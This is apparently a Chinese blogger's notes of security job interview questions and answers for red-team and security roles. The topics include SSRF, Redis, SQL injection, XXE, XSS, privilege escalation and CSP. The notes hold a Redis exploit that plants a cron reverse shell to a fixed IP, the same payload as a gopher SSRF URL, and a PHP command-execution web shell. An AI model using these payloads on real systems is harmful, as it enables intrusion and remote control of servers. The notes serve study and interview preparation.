最近學習有點懈怠了,總結下之前面試遇到的一些問題,查漏補缺
本人水平有限,答案僅供參考
奇安信
一面
好像是紅隊滲透的崗所以大部分都是JAVA審計,內網,提權免殺的東西
自我介紹,擅長方向
JAVA漏洞原理,Apache shiro 550反序列化原理,反序列化鏈
strust,weblogic,jboss 熟悉漏洞原理,反序列化鏈,攻擊方式
strust2繞waf的方法 payload編碼繞過
SSRF利用面
- 訪問內網文件識別web指紋
- 探測內網主機存活,應用
- 攻擊內網應用程序,如redis
- 利用協議訪問相應文件 file, gopher, dict, ftp
- DoS攻擊(請求大文件,始終保持連接keep-alive always)
Redis未授權,SSRF打Redis未授權使用的什么協議?
淺析Redis中SSRF的利用
常用gopher dict
常見exp
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
改成適配gopher的url
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
NTLM relay攻擊
https://zhuanlan.zhihu.com/p/64889695
JAVA SSRF協議限制
由於Java沒有php的cURL,所以Java SSRF支持的協議,不能像php使用 curl -V 查看。
支持file ftp mailto http https jar netdoc
如何繞過SSRF對協議的限制
沒回答出來,應該是302跳轉
DNS Rebinding 攻擊繞過 ssrf 限制
其他繞過總結:https://www.secpulse.com/archives/65832.html
Redis getshell思路,獲取shell條件
- 寫SSHkey
- root賬號啟動redis服務
- 服務器開放SSH服務,允許密鑰登錄。
- 寫計划任務
- redis是root用戶啟動
- crontab反彈debian,ubuntu都不行
- 主從復制
- 在兩個Redis實例設置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上。
- 然后在從機上加載so文件,我們就可以執行拓展的新命令了。
windows下獲取redis shell
- 寫入webshell,需要知道web路徑
- 寫入啟動項,需要目標服務器重啟
- 寫入MOF,MOF每隔5秒鍾會自動執行一次,適用於Windows2003。
介紹一下XXE,如何進行XXE盲注
參數實體引用
https://www.t00ls.net/articles-32919.html
審計XXE的思路,XXE相關的函數
JAVA
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId
PHP
SimpleXMLElement、simplexml_load_string
JAVA和PHP審計與命令執行相關的函數
PHP
1,代碼執行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2,文件讀取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3,命令執行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
JAVA
Shiro 721 Padding Oracle攻擊漏洞原理
JAVA代碼審計思路
JAVA框架的預編譯
Mybatis
Hibernet
Preparedstatement
使用預編譯后還能進行sql注入嗎
堆疊注入
gbk編碼可能會有寬字節
開報錯會有報錯注入
Mybatis框架注入漏洞
https://xz.aliyun.com/t/3950
mysql注入點,獲取shell的方法
- select into file
- 寫日志 前提條件
報錯注入能使用日志來getshell嗎
UDF提權,MOF提權
UDF:已知mysql賬號密碼
MOF:windows 03及以下版本
mysql啟動身份具有權限去讀寫c:/windows/system32/wbem/mof目錄
secure-file-priv參數不為null
sqlserver提權的辦法
https://y4er.com/post/mssql-getshell/
xp_cmdshell
差異備份
log備份
oracle提權的辦法
注入點的前端有json加密,如何進行利用,比如數據包中帶了一個token
無回顯的sql注入如何進行,帶外注入是使用的哪些函數
load_file()
secure_file_priv =""
取磁盤目錄
secure_file_priv = G|\
可以讀取G盤文件
secure_file_priv = null load_file
限制,不能加載文件在mysql 5.5.34 默認為空可以加載文件,之后的版本為NULL,不能加載文件
對目標信息收集,收集哪些方面的內容
子域名收集的方法
找真實IP的方法
找目標網站后台的思路
- 字典爆破,常見后台路徑
- 御劍,nmap,awvs掃目錄
- 開源類程序CMS固定后台
- 源碼泄漏,網站備份泄漏,敏感文件泄漏
- 二級域名,子域名
- 其他端口
- 盲打xss
除了上述還有其他辦法嗎?
XSS實戰經歷(打cookie的實例)
XSS的利用面
XSS在內網中的利用方法
XSS內網探測的原理
文件上傳繞過waf,或者代碼防護的辦法
白名單的上傳點,有getshell的辦法嗎
解析漏洞,介紹一下nginx的解析漏洞
我只說了%00截斷
還有php配置錯誤導致的解析漏洞/test.jpg/test.php
CVE-2013-4547
PHP審計,上傳所涉及的函數,命令執行的函數
繞過disable_function
- 系統組件繞過
window com組件(php 5.4)(高版本擴展要自己添加)
條件:要在php.ini中開啟(如圖)
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一個COM對象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); //調用對象方法來執行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
- ImageMagick漏洞
- 利用環境變量LD_PRELOAD
- 利用pcntl_exec
- php7.4 ffi
Windows提權方法
linux提權方法
免殺方面的工作做過嗎
webshell的免殺,蟻劍的編碼器了解過嗎
檢測冰蠍的流量特征
PHP反序列化,魔術方法
__to_string是什么時候觸發的呢
PHP審計經驗,有復現或者審計過哪些漏洞
thinkphp5 RCE的原理
tp5 RCE實戰中存在一些坑點了解過嗎
還了解哪些php的洞,介紹一下原理
拿到webshell進行內網滲透的流程,應該干嘛
找域控有哪些方法
內網中有哪些經典的漏洞了解嗎,ms17010 07068這種
windows下抓密碼的工具了解嗎
抓明文密碼的原理
抓明文被殺軟攔截了,有什么辦法
hashdump了解過是如何獲取到hash的嗎
域滲透權限維持的方法
用過CS嗎
介紹一個印象最深的滲透經歷
python線程和協程的區別
https://www.jianshu.com/p/0ec911909dff
https://blog.csdn.net/sinat_26917383/article/details/68951673
字節
一面
自我介紹
滲透思路 給你一個登錄頁面 你有哪些思路
說得越全越好, XSS, SQL注入, 二次注入, 暴力破解,驗證碼機制時效性,萬能密碼,其他功能邏輯漏洞
平時工作的一些工作內容
sql注入getshell的方法 除了--os-shell
select into outfile 寫日志
udf提權 mof提權 原理 條件
開發的釣魚郵件平台的技術架構,大致過程,測試效果
反序列化的原理,魔術方法
CORS漏洞的原理,講一講同源策略
SSRF攻擊面
打內網 strust redis
怎么打redis
gopher redis未授權
nginx相關的了解嗎
講一講web滲透的經歷
web滲透的思路
linux中> 和>>的區別知道嗎
>
是覆蓋原有內容
>>
是追加內容
二面
講一講XSS
代碼層防護怎么做?
富文本場景怎么做?
- 內容白名單
- CSP
CSP原理知道嗎?CSP有哪幾種方式防護xss?CSP有幾種模式知道嗎?
內容安全策略( CSP )
- 資源加載限制
- 基於URL的限制
- 雜項限制和強化選項
cookie和session的區別
- cookie存儲在客戶端,session存儲在服務端
- 有效期不同,一般cookie有效期大於session,session有效期過長服務器累計的session過多會導致內存溢出
- Cookie支持跨域,將domain屬性設置為“.twosmi1e.com”
cookie里有哪些東西知道嗎
- name
- value
- domain cookie綁定的域名
- path 默認是'/',這個值匹配的是web的路由
- Expires/Max-age 有效期
- secure 為true時cookie只在ssl或https等安全協議下傳輸
- HttpOnly
http-only起什么作用
屬性為true時js不能讀取cookie的值
開發會什么語言
同源策略講下,跨域常用方法
CORS JSONP
如何利用這些 JSONP請求劫持的是什么
JSONP的大致過程 能不能寫下JS代碼
CSRF如何防護,造成的原理是什么
refer白名單
二次驗證
token
后端服務器如何對token進行校驗,相關原理?
docker了解嗎
了解 知道docker未授權
漏洞原理?
數據安全了解嗎
權限最小化,數據脫敏,數據水印,制度紅線,安全培訓,數據審批
身份認證了解嗎,OSS,oauth,ldap,SAML
統一身份認證與授權標准介紹:OpenID,OAuth2,SAML
淺談SAML, OAuth, OpenID和SSO, JWT和Session
主機安全了解嗎
其核心內容包括安全應用交付系統、應用監管系統、操作系統安全增強系統和運維安全管控系統。它的具體功能是指保證主機在數據存儲和處理的保密性、完整性,可用性,它包括硬件、固件、系統軟件的自身安全,以及一系列附加的安全技術和安全管理措施,從而建立一個完整的主機安全保護環境。
接口安全了解嗎
API接口安全性設計
安全|API接口安全性設計(防篡改和重復調用)
防篡改, 防重復調用
- Token授權機制
- 時間戳超時機制
- API簽名機制
app滲透了解嗎
逆向了解嗎
學過編譯原理嗎